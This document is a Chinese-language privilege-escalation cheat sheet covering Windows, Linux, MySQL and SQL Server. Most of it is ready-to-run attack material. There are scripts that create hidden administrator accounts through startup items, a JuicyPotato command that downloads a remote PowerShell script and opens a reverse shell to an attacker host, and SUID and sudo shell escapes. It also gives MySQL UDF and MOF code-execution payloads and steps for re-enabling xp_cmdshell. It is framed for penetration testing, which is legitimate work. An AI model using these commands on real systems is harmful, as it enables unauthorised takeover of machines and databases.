权限提升备忘录
字数 1326 2025-08-25 22:58:41
Windows & Linux 权限提升技术全面指南
Windows 权限提升方法
1. Windows 溢出提权
步骤:
- 查看系统补丁信息:
systeminfo - 寻找可用exp:
- GitHub资源:https://github.com/SecWiki/windows-kernel-exploits
- 漏洞库:https://bugs.hacking8.com/tiquan/
2. 启动项提权
实施步骤:
-
定位启动项路径:
C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup -
创建提权脚本:
VBS脚本示例:
set wshshell=createobject("wscript.shell") a=wshshell.run("cmd.exe /c net user 用户名 密码 /add",0) b=wshshell.run("cmd.exe /c net localgroup administrators 用户名 /add",0)BAT脚本示例:
net user 用户名 密码 /add net localgroup administrators 用户名 /add
注意:
- VBS脚本运行时无界面提示,推荐使用
- 需要等待系统重启或强制重启(如使用蓝屏POC)
3. UAC提权(CVE-2019-1388)
漏洞详情:
- 利用Windows UAC机制中的consent.exe以SYSTEM权限运行的特点
- 通过UI交互实现权限提升
影响版本:
- Windows 7 SP1 7601
- Windows 8/8.1
- Windows 10 1511/1607
- Windows Server 2008r2/2012r2/2016
复现步骤:
- 获取EXP:https://github.com/jas502n/CVE-2019-1388
- 执行EXP后点击"颁发者"中的超链接
- 弹出的IE浏览器将以SYSTEM权限运行
- 通过"页面另存为"输入cmd路径获取SYSTEM shell
4. Juicypotato提权
工具特点:
- 自动化程度高,适合配合webshell使用
- 比原版更易操作
使用方法:
Juicypotato.exe -p "powershell IEX (New-Object System.Net.Webclient).DownloadString('http://ip/ps.ps1');powercat -c ip -p 444 -e cmd"
Linux 权限提升方法
1. 内核溢出提权
步骤:
- 查看内核版本:
uname -a - 寻找匹配的exp:https://github.com/SecWiki/linux-kernel-exploits
2. 定时任务提权
前提条件:
- 定时任务以root权限运行
- 当前用户有修改定时任务文件的权限
实施步骤:
- 查看现有定时任务:
crontab -l cat /etc/crontab ls /var/spool/cron/crontabs ls /etc/cron.*/ - 修改可写的定时任务脚本,插入反弹shell代码
- 等待定时任务执行
3. SUID提权
查找SUID文件:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
可利用的常见命令:
- Nmap(2.02-5.21):
nmap --interactive !sh - Find:
find / -name test -exec whoami \; - Less/More:
less /etc/passwd !/bin/sh - Vim/Vi:
:set shell=/bin/sh :shell - Git:
git help config !/bin/bash
4. Sudo权限绕过(CVE-2019-14287)
影响版本: sudo < 1.8.28
利用方法:
sudo -u#-1 whoami
数据库提权方法
1. MySQL UDF提权
实施步骤:
- 确定MySQL版本:
- < 5.1: 导出udf.dll到c:/windows/system32/
-
5.1: 导出到MySQL\Lib\Plugin\
- 创建自定义函数:
create function xxx returns string soname 'udf.dll' select xxx('cmd')
2. MySQL MOF提权
MOF文件示例:
#pragma namespace("\\.\root\subscription")
instance of EventFilter as {
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as {
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\") WSH.run(\"cmd命令\")";
};
instance of __FilterToConsumerBinding {
Consumer = ;
Filter = ;
};
使用方法:
select load_file('/xxx.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
3. SQL Server xp_cmdshell提权
前提条件: 获取sa账号密码
实施步骤:
- 开启xp_cmdshell:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; - 如果组件被删除,上传xplog70.dll:
EXEC master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll' - 执行系统命令:
EXEC master.dbo.xp_cmdshell 'cmd'
总结
本指南涵盖了Windows和Linux系统中最实用、最新的权限提升技术,包括:
- 系统漏洞利用
- 配置不当利用
- 数据库提权方法
- 自动化工具使用
每种方法都有其特定的适用环境和前提条件,在实际渗透测试中应根据目标系统情况选择合适的方法。